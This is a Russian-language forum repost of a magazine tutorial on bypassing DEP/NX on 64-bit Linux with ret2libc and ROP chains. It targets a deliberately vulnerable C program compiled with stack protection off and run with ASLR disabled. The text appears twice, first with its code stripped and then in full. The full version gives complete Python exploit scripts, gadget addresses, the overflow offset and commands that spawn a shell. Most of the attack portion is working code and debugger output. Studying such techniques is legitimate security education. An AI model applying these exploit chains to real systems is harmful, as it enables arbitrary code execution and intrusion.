Admin
Администратор
Сегодня мы напишем эксплоит для обхода технологии DEP. Для этого рассмотрим две техники: ret2libc и ROP-цепочки.
Инструментарий
Сегодня нам понадобятся:
Компилируем ее:
Так как обход ASLR — тема отдельной статьи, то временно отключаем его командой
Чтобы проверить, действительно ли ASLR отключен, введем команду
Должно получить что-то вроде
Если еще раз ввести команду, то адреса останутся такими же (указаны в скобках).
Коротко о DEP
В прошлой статье мы намеренно отключили DEP, чтобы можно было запустить наш шелл-код. Сегодня мы так делать не будем, а вместо этого попробуем его обойти. DEP работает следующим образом: память, которая не должна исполняться (например, стек), помечается специальным битом NX. Если ты попробуешь запустить код из памяти с установленным битом NX, то вызовется исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX и существуют крутые техники, такие как return-oriented programming и ret2libc. Более подробно о них расскажу чуть ниже.
Твой первый ROP или ret2libc
В классическом 32-битном случае ret2libc требует создания фейкового стека со всеми необходимыми параметрами для вызова функции из libc. Например, можно вызвать функцию system() и передать ей строку /bin/sh.
Как ты помнишь из предыдущей статьи, в 64-битной системе первые шесть параметров передаются через регистры rdi, rsi, rdx, rcx, r8 и r9. Все остальные параметры передаются через стек. Таким образом, для того чтобы вызвать функцию из libc, нам сначала необходимо присвоить регистрам нужные значения. Для этого мы и будем использовать ROP.
ROP (return-oriented programming) — это технология, которая позволяет обходить NX-бит. Идея ROP-цепочек довольно проста. Вместо того чтобы записывать и исполнять код на стеке, мы будем использовать так называемые гаджеты.
Гаджет — это короткая последовательность команд, которые заканчиваются инструкцией ret. Комбинируя такие команды, мы можем добиться исполнения кода.
При помощи гаджетов мы можем:
Получим адрес функции system():
Получим указатель на строку /bin/sh:
Записываем полученные адреса на листочек или в блокнот (у тебя они могут отличаться). Теперь нам нужен гаджет, который скопирует значение 0x7ffff7b9d359 в регистр rdi. Для этого воспользуемся radare2. Запускаем r2 rop и затем ищем нужный гаджет:
Этот гаджет нам подходит. Он возьмет значение из стека и запишет его в регистр rdi. Сохрани его адрес.
Осталось узнать, сколько надо записать «мусора» перед нашим эксплоитом, чтобы управление передалось по правильному адресу. Для этого создадим паттерн длиной 400 символов и запишем его в файл pattern.txt:
Теперь запустим в GDB нашу уязвимую программу и подадим ей на вход полученный паттерн:
Мы получим ошибку «Program received signal SIGSEGV, Segmentation fault». Нам необходимо посмотреть значение, на которое указывает регистр RSP. В моем случае это выглядит как:
Регистр rip указывает на команду ret;, то есть дальше процессор возьмет адрес со стека и передаст на него управление. Именно этот адрес нам надо заменить на адрес нашего гаджета.
Возьмем первые 6 байт (например), в моем случае это HA%dA%. Затем определим, по какому смещению находятся эти байты в нашем паттерне:
Таким образом, получили, что нам нужно сначала перезаписать 264 байта, чтобы добраться до rip.
А вот и эксплоит!
Теперь у тебя есть все, чтобы написать свой первый эксплоит:
Данный код делает следующее:
Теперь вызовем наш скрипт, который сгенерирует файл exploit.txt. Затем пробуем вызывать нашу программу и на вход ей подаем файл exploit.txt:
После чего появится мигающий курсор оболочки sh. В данном случае мы использовали всего один гаджет, теперь попробуем разобраться, что делать, если их несколько.
Связываем цепочки
Вся сила ROP в том, что мы можем соединять гаджеты в цепочки или так называемые ROP chains. Для этого нам надо расположить на стеке адреса гаджетов в последовательном порядке. Так как каждый гаджет закачивается командой ret, он будет брать адрес следующего гаджета со стека и передавать на него управление.
Чтобы выполнить произвольный код и перейти к интерпретатору sh, воспользуемся алгоритмом из прошлой статьи — будем использовать функцию execve():
Адрес гаджета pop rdi; ret; мы уже получили, когда писали эксплоит aka ret2libc.
Теперь ищем гаджет, который сможет записать значение в регистр rsi. Опять открываем radare2 и вводим:
Отлично. Этот гаджет нам подходит. Ты, наверное, заметил, что он затрагивает также регистр r15. Это не проблема — мы просто положим туда случайное значение (неважно какое), которое запишется в регистр r15. В противном случае команда pop r15 возьмет адрес следующего гаджета и сломает наш эксплоит.
Некоторые гаджеты могут отсутствовать в нашем исполняемом файле, но мы можем использовать библиотеки, которые они подгружают. Чтобы посмотреть, какие библиотеки используются, делаем:
И сразу запоминаем адрес загрузки библиотеки libc, он еще пригодится.
Открываем библиотеку в radare2:
И затем ищем гаджет, с помощью которого мы сможем записать значение в регистр rax:
Их будет много, но нам хватит и одного. Кроме того что этот гаджет может записать значение в регистр rax, он позволяет записать значение еще в два регистра. Нас интересует регистр rdx, который хранит адрес envp при вызове функции execve(). Как мы уже сказали, мы запишем в него null, с регистром rbx делаем то же самое, что и с r15 на предыдущем шаге, — кладем туда случайное значение, чтобы не сломать эксплоит.
Так как этот адрес есть, по сути, смещение гаджета в библиотеке libc, то для того, чтобы получить его реальный адрес, мы складываем адрес смещения гаджета и базовый адрес библиотеки:
И получаем 0x7ffff7b5ac73 — реальный адрес гаджета.
Теперь найдем гаджет, с помощью которого мы сможем вызвать syscall:
Прибавляем к адресу гаджета базовый адрес библиотеки libc и получаем 0x7ffff7b3e498 — адрес гаджета syscall.
Теперь осталось собрать все это и сформировать буфер для эксплоита. Он будет выглядеть так:
Пишем небольшой скрипт, который сформирует буфер и запишет его в файл:
Python:
Запускаем скрипт и получаем на выходе файл exploit.txt. Теперь подаем его на вход нашей программе:
Теперь мы внутри sh. Если мы хотим получить полноценный шелл, можем сделать это при помощи python:
После чего появится «красивый» шелл sh
.
Выжно
Недавно Intel представила предварительную спецификацию новой технологии защиты от эксплоитов. Данная технология, которая называется Control-flow Enforcement Technology (CET), представляет модель защиты от эксплоитов, которые так или иначе используют ROP. Обо всех деталях уже давно написано в интернете. Но мы же с тобой понимаем, что мир ИБ — это противостояние меча и щита и на новые техники защиты обязательно появятся новые техники нападения, о которых мы непременно тебе расскажем на страницах журнала.
Инструментарий
Сегодня нам понадобятся:
- Python Exploit Development Assistence for GDP.
- Radare2.
- GDB.
C:
#include <stdio.h>
int main(int argc, char argv[]) {
char buf[256];
read(0, buf, 400);
}
Компилируем ее:
Код:
gcc -fno-stack-protector rop.c -o rop
Так как обход ASLR — тема отдельной статьи, то временно отключаем его командой
Код:
# echo 0 > /proc/sys/kernel/randomize_va_space
Чтобы проверить, действительно ли ASLR отключен, введем команду
Код:
ldd <путь_к_исполняемому_файлу>
Должно получить что-то вроде
Код:
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
Если еще раз ввести команду, то адреса останутся такими же (указаны в скобках).
Коротко о DEP
В прошлой статье мы намеренно отключили DEP, чтобы можно было запустить наш шелл-код. Сегодня мы так делать не будем, а вместо этого попробуем его обойти. DEP работает следующим образом: память, которая не должна исполняться (например, стек), помечается специальным битом NX. Если ты попробуешь запустить код из памяти с установленным битом NX, то вызовется исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX и существуют крутые техники, такие как return-oriented programming и ret2libc. Более подробно о них расскажу чуть ниже.
Твой первый ROP или ret2libc
В классическом 32-битном случае ret2libc требует создания фейкового стека со всеми необходимыми параметрами для вызова функции из libc. Например, можно вызвать функцию system() и передать ей строку /bin/sh.
Как ты помнишь из предыдущей статьи, в 64-битной системе первые шесть параметров передаются через регистры rdi, rsi, rdx, rcx, r8 и r9. Все остальные параметры передаются через стек. Таким образом, для того чтобы вызвать функцию из libc, нам сначала необходимо присвоить регистрам нужные значения. Для этого мы и будем использовать ROP.
ROP (return-oriented programming) — это технология, которая позволяет обходить NX-бит. Идея ROP-цепочек довольно проста. Вместо того чтобы записывать и исполнять код на стеке, мы будем использовать так называемые гаджеты.
Гаджет — это короткая последовательность команд, которые заканчиваются инструкцией ret. Комбинируя такие команды, мы можем добиться исполнения кода.
При помощи гаджетов мы можем:
- записывать константу в регистр, например pop rax; ret;;
- брать значение из памяти и записывать в регистр, например mov [rax], rcx; ret;;
- копировать значение в память, например mov rbx, [rcx]; ret;;
- выполнять различные арифметические операции, например xor rax, rax; ret;;
- делать syscall.
- адрес функции system(). Мы отключили ASLR, таким образом, он не будет меняться при перезапуске;
- адрес строки /bin/sh в памяти (или, другими словами, указатель на строку);
- адрес ROP-гаджета, который скопирует адрес строки /bin/sh в регистр rdi (через него передается первый параметр функции);
- номер байта, после записи которого начинает перезаписываться регистр rip.
Код:
gdb-peda$ start
Получим адрес функции system():
Код:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>
Получим указатель на строку /bin/sh:
Код:
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')
Записываем полученные адреса на листочек или в блокнот (у тебя они могут отличаться). Теперь нам нужен гаджет, который скопирует значение 0x7ffff7b9d359 в регистр rdi. Для этого воспользуемся radare2. Запускаем r2 rop и затем ищем нужный гаджет:
Код:
[0x00400400]> /R pop rdi
0x004005a3 5f pop rdi
0x004005a4 c3 ret
Этот гаджет нам подходит. Он возьмет значение из стека и запишет его в регистр rdi. Сохрани его адрес.
Осталось узнать, сколько надо записать «мусора» перед нашим эксплоитом, чтобы управление передалось по правильному адресу. Для этого создадим паттерн длиной 400 символов и запишем его в файл pattern.txt:
Код:
gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"
Теперь запустим в GDB нашу уязвимую программу и подадим ей на вход полученный паттерн:
Код:
gdb-peda$ r < pattern.txt
Мы получим ошибку «Program received signal SIGSEGV, Segmentation fault». Нам необходимо посмотреть значение, на которое указывает регистр RSP. В моем случае это выглядит как:
Код:
RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177")
Регистр rip указывает на команду ret;, то есть дальше процессор возьмет адрес со стека и передаст на него управление. Именно этот адрес нам надо заменить на адрес нашего гаджета.
Возьмем первые 6 байт (например), в моем случае это HA%dA%. Затем определим, по какому смещению находятся эти байты в нашем паттерне:
Код:
gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264
Таким образом, получили, что нам нужно сначала перезаписать 264 байта, чтобы добраться до rip.
А вот и эксплоит!
Теперь у тебя есть все, чтобы написать свой первый эксплоит:
Python:
from struct import *
buf = ''
buf += 'A'*264 # мусор
buf += pack('<Q', 0x004005a3) # pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359) # указатель на '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0) # system()
f = open("exploit.txt", "w")
f.write(buf)
f.close
Данный код делает следующее:
- Создает буфер и записывает туда 264 буквы А.
- Записывает адрес гаджета pop rdi; ret;.
- Записывает адрес строки /bin/sh, который является аргументом для функции system().
- Записывает адрес функции system().
Теперь вызовем наш скрипт, который сгенерирует файл exploit.txt. Затем пробуем вызывать нашу программу и на вход ей подаем файл exploit.txt:
Код:
$ (cat exploit.txt; cat) | ./rop
После чего появится мигающий курсор оболочки sh. В данном случае мы использовали всего один гаджет, теперь попробуем разобраться, что делать, если их несколько.
Связываем цепочки
Вся сила ROP в том, что мы можем соединять гаджеты в цепочки или так называемые ROP chains. Для этого нам надо расположить на стеке адреса гаджетов в последовательном порядке. Так как каждый гаджет закачивается командой ret, он будет брать адрес следующего гаджета со стека и передавать на него управление.
Чтобы выполнить произвольный код и перейти к интерпретатору sh, воспользуемся алгоритмом из прошлой статьи — будем использовать функцию execve():
- Положим в rdi адрес строки '/bin/sh' (содержит путь до файла, который мы будем запускать).
- Обнулим rsi, чтобы не возиться с указателями на указатели (содержит указатель на массив строк argv).
- Обнулим регистр rdx, который содержит указатель envp.
- Запишем номер функции (0x3b) в регистр rax.
- Выполним syscall.
Адрес гаджета pop rdi; ret; мы уже получили, когда писали эксплоит aka ret2libc.
Теперь ищем гаджет, который сможет записать значение в регистр rsi. Опять открываем radare2 и вводим:
Код:
[0x00400400]> /R pop rsi
0x004005a1 5e pop rsi
0x004005a2 415f pop r15
0x004005a4 c3 ret
Отлично. Этот гаджет нам подходит. Ты, наверное, заметил, что он затрагивает также регистр r15. Это не проблема — мы просто положим туда случайное значение (неважно какое), которое запишется в регистр r15. В противном случае команда pop r15 возьмет адрес следующего гаджета и сломает наш эксплоит.
Некоторые гаджеты могут отсутствовать в нашем исполняемом файле, но мы можем использовать библиотеки, которые они подгружают. Чтобы посмотреть, какие библиотеки используются, делаем:
Код:
$ ldd rop
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
И сразу запоминаем адрес загрузки библиотеки libc, он еще пригодится.
Открываем библиотеку в radare2:
Код:
r2 /usr/lib/libc.so.6
И затем ищем гаджет, с помощью которого мы сможем записать значение в регистр rax:
Код:
[0x000203b0]> /R pop rax
0x0011ec71 8903 mov dword [rbx], eax
0x0011ec73 58 pop rax
0x0011ec74 5a pop rdx
0x0011ec75 5b pop rbx
0x0011ec76 c3 ret
Их будет много, но нам хватит и одного. Кроме того что этот гаджет может записать значение в регистр rax, он позволяет записать значение еще в два регистра. Нас интересует регистр rdx, который хранит адрес envp при вызове функции execve(). Как мы уже сказали, мы запишем в него null, с регистром rbx делаем то же самое, что и с r15 на предыдущем шаге, — кладем туда случайное значение, чтобы не сломать эксплоит.
Так как этот адрес есть, по сути, смещение гаджета в библиотеке libc, то для того, чтобы получить его реальный адрес, мы складываем адрес смещения гаджета и базовый адрес библиотеки:
Код:
>>> hex(0x0011ec73 + 0x7ffff7a3c000)
'0x7ffff7b5ac73'
И получаем 0x7ffff7b5ac73 — реальный адрес гаджета.
Теперь найдем гаджет, с помощью которого мы сможем вызвать syscall:
Код:
[0x000203b0]> /R syscall
0x0010248e 0000 add byte [rax], al
0x00102490 48633f movsxd rdi, dword [rdi]
0x00102493 b803000000 mov eax, 3
0x00102498 0f05 syscall
0x0010249a c3 ret
Прибавляем к адресу гаджета базовый адрес библиотеки libc и получаем 0x7ffff7b3e498 — адрес гаджета syscall.
Теперь осталось собрать все это и сформировать буфер для эксплоита. Он будет выглядеть так:
Код:
Скопировать в буфер обмена
0x004005a3 указатель на гаджет `pop rdi; ret;`
0x7ffff7b9d359 указатель на строку '/bin/sh'
0x004005a1 указатель на гаджет `pop rsi; ret;`
0x0 null (значение `argv`)
0xffffdeadbeef случайное значение (чтобы отработал `pop r15;`)
0x7ffff7b5ac73 указатель на гаджет `pop rax; ret`
0x3b номер функции execve для syscall
0x0 null (значение `envp`)
0xffffffffabcd случайное значение (чтобы отработал `pop rbx;`)
0x7ffff7b3e498 syscall
Пишем небольшой скрипт, который сформирует буфер и запишет его в файл:
Python:
Python:
from struct import *
buf = ''
buf += 'A'*264 # junk
buf += pack('<Q', 0x004005a3) # pop rdi
buf += pack('<Q', 0x7ffff7b9d359) # p to /bin/sh
buf += pack('<Q', 0x004005a1) # pop rsi
buf += pack('<Q', 0x0) # null argv
buf += pack('<Q', 0xffffdeadbeef) # junk
buf += pack('<Q', 0x7ffff7b5ac73) # pop rax
buf += pack('<Q', 0x3b) # execve number
buf += pack('<Q', 0x0) # null envp
buf += pack('<Q', 0xffffffffabcd) # trash
buf += pack('<Q', 0x7ffff7b3e498) # syscall
f = open("exploit.txt", "w")
f.write(buf)
f.close
Запускаем скрипт и получаем на выходе файл exploit.txt. Теперь подаем его на вход нашей программе:
Код:
Скопировать в буфер обмена
(cat exploit.txt; cat) | ./rop
Теперь мы внутри sh. Если мы хотим получить полноценный шелл, можем сделать это при помощи python:
Код:
Скопировать в буфер обмена
python -c 'import pty; pty.spawn("/bin/sh")'
После чего появится «красивый» шелл sh
Выжно
Недавно Intel представила предварительную спецификацию новой технологии защиты от эксплоитов. Данная технология, которая называется Control-flow Enforcement Technology (CET), представляет модель защиты от эксплоитов, которые так или иначе используют ROP. Обо всех деталях уже давно написано в интернете. Но мы же с тобой понимаем, что мир ИБ — это противостояние меча и щита и на новые техники защиты обязательно появятся новые техники нападения, о которых мы непременно тебе расскажем на страницах журнала.